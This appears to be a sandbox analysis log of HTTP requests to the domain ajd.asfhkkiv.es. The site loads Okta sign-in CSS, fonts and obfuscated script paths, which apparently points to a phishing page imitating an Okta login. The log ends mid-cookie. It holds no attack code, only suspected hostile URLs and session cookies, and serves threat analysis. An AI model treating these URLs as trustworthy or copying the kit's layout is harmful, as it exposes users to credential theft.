Source: global traffic	HTTP traffic detected: GET /zc5YCzpCm9huvzAdXFwgKJONtCLvtB8n202gMbfq HTTP/1.1Host: ajd.asfhkkiv.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IllMaURuaGkwQkhDVEJ4MG1YQWNoaHc9PSIsInZhbHVlIjoiTXhibHhZckRPVlpLYTNzZ2libFcvSWpPWjF1KzVkVjE5UlJENEk4dWIzMys2WDl1bGI2elRWM0dpYjZ5azVsWm0xdXhreTEzN0xnb0JubzlabkF1cHpLSmVsWStEek5KRjhUbG5mS0pvTmZjdXk2akg5Ukwrc0tIVzJrKzZuMjUiLCJtYWMiOiIxMWRiODZhY2MyODZhNjk3ZmExNTc3MjUzNTc0YWEyNzQwMDNmODA3YmMyZGQ1ZjYzYTkzMThlNDk1NDRlZjA5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjNpbUZvaHlORHJaRFg2V3JzbEhua3c9PSIsInZhbHVlIjoiNmhQM3d0a25JcmJxTC9QdnJ2MVRuTEpNejZNWHpMVXhCeUdSOWloRWNOdjVsNFBHWHdWWXZVdmF6Sm02SmVmcEZBYjY5VzVNNmRmMTRnM3d3Yi95RTJKdEs4ZnkxN2xnZ1JzSndDMVlyRlRiV2tFUGJ4TFZpSmZ5Wmk3cTRodjIiLCJtYWMiOiI5OTdhNzUzNjQ0YjJjZTRiZWMzMTU0NDhkNGQwMjhjOWU5M2Y2OThlNDlhZDY3Y2VkMzlmMDEzNzViN2IwMTUxIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /fwoojzqdfniscafbnmJOFZKIGRQB2ZTKLYM7LBOVD?ZFCXAOOVELNULNBGYRFLINNBJW HTTP/1.1Host: ajd.asfhkkiv.esConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://ajd.asfhkkiv.es/rIMOdeCtriNV/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IllMaURuaGkwQkhDVEJ4MG1YQWNoaHc9PSIsInZhbHVlIjoiTXhibHhZckRPVlpLYTNzZ2libFcvSWpPWjF1KzVkVjE5UlJENEk4dWIzMys2WDl1bGI2elRWM0dpYjZ5azVsWm0xdXhreTEzN0xnb0JubzlabkF1cHpLSmVsWStEek5KRjhUbG5mS0pvTmZjdXk2akg5Ukwrc0tIVzJrKzZuMjUiLCJtYWMiOiIxMWRiODZhY2MyODZhNjk3ZmExNTc3MjUzNTc0YWEyNzQwMDNmODA3YmMyZGQ1ZjYzYTkzMThlNDk1NDRlZjA5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjNpbUZvaHlORHJaRFg2V3JzbEhua3c9PSIsInZhbHVlIjoiNmhQM3d0a25JcmJxTC9QdnJ2MVRuTEpNejZNWHpMVXhCeUdSOWloRWNOdjVsNFBHWHdWWXZVdmF6Sm02SmVmcEZBYjY5VzVNNmRmMTRnM3d3Yi95RTJKdEs4ZnkxN2xnZ1JzSndDMVlyRlRiV2tFUGJ4TFZpSmZ5Wmk3cTRodjIiLCJtYWMiOiI5OTdhNzUzNjQ0YjJjZTRiZWMzMTU0NDhkNGQwMjhjOWU5M2Y2OThlNDlhZDY3Y2VkMzlmMDEzNzViN2IwMTUxIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /56q4wwVesouhXabpMxyfJFe8920 HTTP/1.1Host: ajd.asfhkkiv.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://ajd.asfhkkiv.es/fwoojzqdfniscafbnmJOFZKIGRQB2ZTKLYM7LBOVD?ZFCXAOOVELNULNBGYRFLINNBJWAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Im4zcHptcW5WNDBETk9YUTNONC8xNUE9PSIsInZhbHVlIjoiMG5ucHZXNnR2d2RCQ1dVZkRtQS90V2hnRnpiK3VBeG1adE5ySkx6NmkrNDMyWXN3QUhjMDRJbHJWaHo1VVZHb0pEdS83bnlCTkxtUStaY0hVZGJQQzJQR05kYWllZWl0ZkNGdzkxYUVMUGc3cEFjRTlwSTlzWTl2aDVqSnl1c3QiLCJtYWMiOiJkNmMxZWVhYTYwM2ZiMzI2NzRlN2I0OTgxYmQzZWZmYTFlMDRmZDc4NjM3NzdiYjg3ZDA1NTZlYjZlOTI4YTlkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkttZVBuOWRaSDRHTFQrcW9JWEdPcUE9PSIsInZhbHVlIjoielZYdUIycW5KZHJvcVgvRFB1bXo3bUVkb3JLSnZMRE5EdUdEcTNCdHdPSmI5dWtKczBuckdqeTVEMERjQm1nUFdoK3J6T04xUTNjeDhrZDE0cVpYVzVqWnp0QkNmK0x2OVRTaEhXeWhpN2JhN3BKclFqVS9GWGNvaURxcldFVDkiLCJtYWMiOiIwZDMwM2FlYzM5MWMxMWMzMDgyY2Q4MjMzMjgwM2U1ZTIxZDYwNzBmOGRmZDdkMDJhODY0ZGZiNjkyYWNiZTRjIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /abde7vEJONAp1Trss68gh24 HTTP/1.1Host: ajd.asfhkkiv.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://ajd.asfhkkiv.es/fwoojzqdfniscafbnmJOFZKIGRQB2ZTKLYM7LBOVD?ZFCXAOOVELNULNBGYRFLINNBJWAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Im4zcHptcW5WNDBETk9YUTNONC8xNUE9PSIsInZhbHVlIjoiMG5ucHZXNnR2d2RCQ1dVZkRtQS90V2hnRnpiK3VBeG1adE5ySkx6NmkrNDMyWXN3QUhjMDRJbHJWaHo1VVZHb0pEdS83bnlCTkxtUStaY0hVZGJQQzJQR05kYWllZWl0ZkNGdzkxYUVMUGc3cEFjRTlwSTlzWTl2aDVqSnl1c3QiLCJtYWMiOiJkNmMxZWVhYTYwM2ZiMzI2NzRlN2I0OTgxYmQzZWZmYTFlMDRmZDc4NjM3NzdiYjg3ZDA1NTZlYjZlOTI4YTlkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkttZVBuOWRaSDRHTFQrcW9JWEdPcUE9PSIsInZhbHVlIjoielZYdUIycW5KZHJvcVgvRFB1bXo3bUVkb3JLSnZMRE5EdUdEcTNCdHdPSmI5dWtKczBuckdqeTVEMERjQm1nUFdoK3J6T04xUTNjeDhrZDE0cVpYVzVqWnp0QkNmK0x2OVRTaEhXeWhpN2JhN3BKclFqVS9GWGNvaURxcldFVDkiLCJtYWMiOiIwZDMwM2FlYzM5MWMxMWMzMDgyY2Q4MjMzMjgwM2U1ZTIxZDYwNzBmOGRmZDdkMDJhODY0ZGZiNjkyYWNiZTRjIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-bold.woff2 HTTP/1.1Host: ajd.asfhkkiv.esConnection: keep-aliveOrigin: https://ajd.asfhkkiv.essec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://ajd.asfhkkiv.es/fwoojzqdfniscafbnmJOFZKIGRQB2ZTKLYM7LBOVD?ZFCXAOOVELNULNBGYRFLINNBJWAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Im4zcHptcW5WNDBETk9YUTNONC8xNUE9PSIsInZhbHVlIjoiMG5ucHZXNnR2d2RCQ1dVZkRtQS90V2hnRnpiK3VBeG1adE5ySkx6NmkrNDMyWXN3QUhjMDRJbHJWaHo1VVZHb0pEdS83bnlCTkxtUStaY0hVZGJQQzJQR05kYWllZWl0ZkNGdzkxYUVMUGc3cEFjRTlwSTlzWTl2aDVqSnl1c3QiLCJtYWMiOiJkNmMxZWVhYTYwM2ZiMzI2NzRlN2I0OTgxYmQzZWZmYTFlMDRmZDc4NjM3NzdiYjg3ZDA1NTZlYjZlOTI4YTlkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkttZVBuOWRaSDRHTFQrcW9JWEdPcUE9PSIsInZhbHVlIjoielZYdUIycW5KZHJvcVgvRFB1bXo3bUVkb3JLSnZMRE5EdUdEcTNCdHdPSmI5dWtKczBuckdqeTVEMERjQm1nUFdoK3J6T04xUTNjeDhrZDE0cVpYVzVqWnp0QkNmK0x2OVRTaEhXeWhpN2JhN3BKclFqVS9GWGNvaURxcldFVDkiLCJtYWMiOiIwZDMwM2FlYzM5MWMxMWMzMDgyY2Q4MjMzMjgwM2U1ZTIxZDYwNzBmOGRmZDdkMDJhODY0ZGZiNjkyYWNiZTRjIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-bold.woff HTTP/1.1Host: ajd.asfhkkiv.esConnection: keep-aliveOrigin: https://ajd.asfhkkiv.essec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://ajd.asfhkkiv.es/fwoojzqdfniscafbnmJOFZKIGRQB2ZTKLYM7LBOVD?ZFCXAOOVELNULNBGYRFLINNBJWAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Im4zcHptcW5WNDBETk9YUTNONC8xNUE9PSIsInZhbHVlIjoiMG5ucHZXNnR2d2RCQ1dVZkRtQS90V2hnRnpiK3VBeG1adE5ySkx6NmkrNDMyWXN3QUhjMDRJbHJWaHo1VVZHb0pEdS83bnlCTkxtUStaY0hVZGJQQzJQR05kYWllZWl0ZkNGdzkxYUVMUGc3cEFjRTlwSTlzWTl2aDVqSnl1c3QiLCJtYWMiOiJkNmMxZWVhYTYwM2ZiMzI2NzRlN2I0OTgxYmQzZWZmYTFlMDRmZDc4NjM3NzdiYjg3ZDA1NTZlYjZlOTI4YTlkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkttZVBuOWRaSDRHTFQrcW9JWEdPcUE9PSIsInZhbHVlIjoielZYdUIycW5KZHJvcVgvRFB1bXo3bUVkb3JLSnZMRE5EdUdEcTNCdHdPSmI5dWtKczBuckdqeTVEMERjQm1nUFdoK3J6T04xUTNjeDhrZDE0cVpYVzVqWnp0QkNmK0x2OVRTaEhXeWhpN2JhN3BKclFqVS9GWGNvaURxcldFVDkiLCJtYWMiOiIwZDMwM2FlYzM5MWMxMWMzMDgyY2Q4MjMzMjgwM2U1ZTIxZDYwNzBmOGRmZDdkMDJhODY0ZGZiNjkyYWNiZTRjIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-regular.woff2 HTTP/1.1Host: ajd.asfhkkiv.esConnection: keep-aliveOrigin: https://ajd.asfhkkiv.essec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://ajd.asfhkkiv.es/fwoojzqdfniscafbnmJOFZKIGRQB2ZTKLYM7LBOVD?ZFCXAOOVELNULNBGYRFLINNBJWAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Im4zcHptcW5WNDBETk9YUTNONC8xNUE9PSIsInZhbHVlIjoiMG5ucHZXNnR2d2RCQ1dVZkRtQS90V2hnRnpiK3VBeG1adE5ySkx6NmkrNDMyWXN3QUhjMDRJbHJWaHo1VVZHb0pEdS83bnlCTkxtUStaY0hVZGJQQzJQR05kYWllZWl0ZkNGdzkxYUVMUGc3cEFjRTlwSTlzWTl2aDVqSnl1c3QiLCJtYWMiOiJkNmMxZWVhYTYwM2ZiMzI2NzRlN2I0OTgxYmQzZWZmYTFlMDRmZDc4NjM3NzdiYjg3ZDA1NTZlYjZlOTI4YTlkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkttZVBuOWRaSDRHTFQrcW9JWEdPcUE9PSIsInZhbHVlIjoielZYdUIycW5KZHJvcVgvRFB1bXo3bUVkb3JLSnZMRE5EdUdEcTNCdHdPSmI5dWtKczBuckdqeTVEMERjQm1nUFdoK3J6T04xUTNjeDhrZDE0cVpYVzVqWnp0QkNmK0x2OVRTaEhXeWhpN2JhN3BKclFqVS9GWGNvaURxcldFVDkiLCJtYWMiOiIwZDMwM2FlYzM5MWMxMWMzMDgyY2Q4MjMzMjgwM2U1ZTIxZDYwNzBmOGRmZDdkMDJhODY0ZGZiNjkyYWNiZTRjIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-regular.woff HTTP/1.1Host: ajd.asfhkkiv.esConnection: keep-aliveOrigin: https://ajd.asfhkkiv.essec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://ajd.asfhkkiv.es/fwoojzqdfniscafbnmJOFZKIGRQB2ZTKLYM7LBOVD?ZFCXAOOVELNULNBGYRFLINNBJWAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Im4zcHptcW5WNDBETk9YUTNONC8xNUE9PSIsInZhbHVlIjoiMG5ucHZXNnR2d2RCQ1dVZkRtQS90V2hnRnpiK3VBeG1adE5ySkx6NmkrNDMyWXN3QUhjMDRJbHJWaHo1VVZHb0pEdS83bnlCTkxtUStaY0hVZGJQQzJQR05kYWllZWl0ZkNGdzkxYUVMUGc3cEFjRTlwSTlzWTl2aDVqSnl1c3QiLCJtYWMiOiJkNmMxZWVhYTYwM2ZiMzI2NzRlN2I0OTgxYmQzZWZmYTFlMDRmZDc4NjM3NzdiYjg3ZDA1NTZlYjZlOTI4YTlkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkttZVBuOWRaSDRHTFQrcW9JWEdPcUE9PSIsInZhbHVlIjoielZYdUIycW5KZHJvcVgvRFB1bXo3bUVkb3JLSnZMRE5EdUdEcTNCdHdPSmI5dWtKczBuckdqeTVEMERjQm1nUFdoK3J6T04xUTNjeDhrZDE0cVpYVzVqWnp0QkNmK0x2OVRTaEhXeWhpN2JhN3BKclFqVS9GWGNvaURxcldFVDkiLCJtYWMiOiIwZDMwM2FlYzM5MWMxMWMzMDgyY2Q4MjMzMjgwM2U1ZTIxZDYwNzBmOGRmZDdkMDJhODY0ZGZiNjkyYWNiZTRjIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /fent/randexp.js/releases/download/v0.4.3/randexp.min.js HTTP/1.1Host: github.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://ajd.asfhkkiv.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/js/sdk/okta-signin-widget/7.18.0/css/okta-sign-in.min.css HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleSec-Fetch-Storage-Access: activeReferer: https://ajd.asfhkkiv.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.css HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleSec-Fetch-Storage-Access: activeReferer: https://ajd.asfhkkiv.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /GDSherpa-vf.woff2 HTTP/1.1Host: ajd.asfhkkiv.esConnection: keep-aliveOrigin: https://ajd.asfhkkiv.essec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://ajd.asfhkkiv.es/fwoojzqdfniscafbnmJOFZKIGRQB2ZTKLYM7LBOVD?ZFCXAOOVELNULNBGYRFLINNBJWAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Im4zcHptcW5WNDBETk9YUTNONC8xNUE9PSIsInZhbHVlIjoiMG5ucHZXNnR2d2RCQ1dVZkRtQS90V2hnRnpiK3VBeG1adE5ySkx6NmkrNDMyWXN3QUhjMDRJbHJWaHo1VVZHb0pEdS83bnlCTkxtUStaY0hVZGJQQzJQR05kYWllZWl0ZkNGdzkxYUVMUGc3cEFjRTlwSTlzWTl2aDVqSnl1c3QiLCJtYWMiOiJkNmMxZWVhYTYwM2ZiMzI2NzRlN2I0OTgxYmQzZWZmYTFlMDRmZDc4NjM3NzdiYjg3ZDA1NTZlYjZlOTI4YTlkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkttZVBuOWRaSDRHTFQrcW9JWEdPcUE9PSIsInZhbHVlIjoielZYdUIycW5KZHJvcVgvRFB1bXo3bUVkb3JLSnZMRE5EdUdEcTNCdHdPSmI5dWtKczBuckdqeTVEMERjQm1nUFdoK3J6T04xUTNjeDhrZDE0cVpYVzVqWnp0QkNmK0x2OVRTaEhXeWhpN2JhN3BKclFqVS9GWGNvaURxcldFVDkiLCJtYWMiOiIwZDMwM2FlYzM5MWMxMWMzMDgyY2Q4MjMzMjgwM2U1ZTIxZDYwNzBmOGRmZDdkMDJhODY0ZGZiNjkyYWNiZTRjIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-vf2.woff2 HTTP/1.1Host: ajd.asfhkkiv.esConnection: keep-aliveOrigin: https://ajd.asfhkkiv.essec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://ajd.asfhkkiv.es/fwoojzqdfniscafbnmJOFZKIGRQB2ZTKLYM7LBOVD?ZFCXAOOVELNULNBGYRFLINNBJWAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Im4zcHptcW5WNDBETk9YUTNONC8xNUE9PSIsInZhbHVlIjoiMG5ucHZXNnR2d2RCQ1dVZkRtQS90V2hnRnpiK3VBeG1adE5ySkx6NmkrNDMyWXN3QUhjMDRJbHJWaHo1VVZHb0pEdS83bnlCTkxtUStaY0hVZGJQQzJQR05kYWllZWl0ZkNGdzkxYUVMUGc3cEFjRTlwSTlzWTl2aDVqSnl1c3QiLCJtYWMiOiJkNmMxZWVhYTYwM2ZiMzI2NzRlN2I0OTgxYmQzZWZmYTFlMDRmZDc4NjM3NzdiYjg3ZDA1NTZlYjZlOTI4YTlkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkttZVBuOWRaSDRHTFQrcW9JWEdPcUE9PSIsInZhbHVlIjoielZYdUIycW5KZHJvcVgvRFB1bXo3bUVkb3JLSnZMRE5EdUdEcTNCdHdPSmI5dWtKczBuckdqeTVEMERjQm1nUFdoK3J6T04xUTNjeDhrZDE0cVpYVzVqWnp0QkNmK0x2OVRTaEhXeWhpN2JhN3BKclFqVS9GWGNvaURxcldFVDkiLCJtYWMiOiIwZDMwM2FlYzM5MWMxMWMzMDgyY2Q4MjMzMjgwM2U1ZTIxZDYwNzBmOGRmZDdkMDJhODY0ZGZiNjkyYWNiZTRjIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /56visyUwAusPdk1whza3K5IoOVijSxJR2eT267110 HTTP/1.1Host: ajd.asfhkkiv.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://ajd.asfhkkiv.es/fwoojzqdfniscafbnmJOFZKIGRQB2ZTKLYM7LBOVD?ZFCXAOOVELNULNBGYRFLINNBJWAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Im4zcHptcW5WNDBETk9YUTNONC8xNUE9PSIsInZhbHVlIjoiMG5ucHZXNnR2d2RCQ1dVZkRtQS90V2hnRnpiK3VBeG1adE5ySkx6NmkrNDMyWXN3QUhjMDRJbHJWaHo1VVZHb0pEdS83bnlCTkxtUStaY0hVZGJQQzJQR05kYWllZWl0ZkNGdzkxYUVMUGc3cEFjRTlwSTlzWTl2aDVqSnl1c3QiLCJtYWMiOiJkNmMxZWVhYTYwM2ZiMzI2NzRlN2I0OTgxYmQzZWZmYTFlMDRmZDc4NjM3NzdiYjg3ZDA1NTZlYjZlOTI4YTlkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkttZVBuOWRaSDRHTFQrcW9JWEdPcUE9PSIsInZhbHVlIjoielZYdUIycW5KZHJvcVgvRFB1bXo3bUVkb3JLSnZMRE5EdUdEcTNCdHdPSmI5dWtKczBuckdqeTVEMERjQm1nUFdoK3J6T04xUTNjeDhrZDE0cVpYVzVqWnp0QkNmK0x2OVRTaEhXeWhpN2JhN3BKclFqVS9GWGNvaURxcldFVDkiLCJtYWMiOiIwZDMwM2FlYzM5MWMxMWMzMDgyY2Q4MjMzMjgwM2U1ZTIxZDYwNzBmOGRmZDdkMDJhODY0ZGZiNjkyYWNiZTRjIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /github-production-release-asset-2e65be/2925284/11f3acf8-4ccb-11e6-8ce4-c179c0a212de?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20250318%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250318T123323Z&X-Amz-Expires=300&X-Amz-Signature=dedd86354f631d86bf6771711d30be603b11d4f14f32d7f380a815820c673ac1&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Drandexp.min.js&response-content-type=application%2Foctet-stream HTTP/1.1Host: objects.githubusercontent.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://ajd.asfhkkiv.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /klV6lQ48daxO4gaFe7dyNP2ltRDkGB5DSOEa6yU891xlRLn2cD36xysfgXiQab222 HTTP/1.1Host: ajd.asfhkkiv.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ajd.asfhkkiv.es/fwoojzqdfniscafbnmJOFZKIGRQB2ZTKLYM7LBOVD?ZFCXAOOVELNULNBGYRFLINNBJWAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Im4zcHptcW5WNDBETk9YUTNONC8xNUE9PSIsInZhbHVlIjoiMG5ucHZXNnR2d2RCQ1dVZkRtQS90V2hnRnpiK3VBeG1adE5ySkx6NmkrNDMyWXN3QUhjMDRJbHJWaHo1VVZHb0pEdS83bnlCTkxtUStaY0hVZGJQQzJQR05kYWllZWl0ZkNGdzkxYUVMUGc3cEFjRTlwSTlzWTl2aDVqSnl1c3QiLCJtYWMiOiJkNmMxZWVhYTYwM2ZiMzI2NzRlN2I0OTgxYmQzZWZmYTFlMDRmZDc4NjM3NzdiYjg3ZDA1NTZlYjZlOTI4YTlkIiwidGFnIjoiIn0%3D; 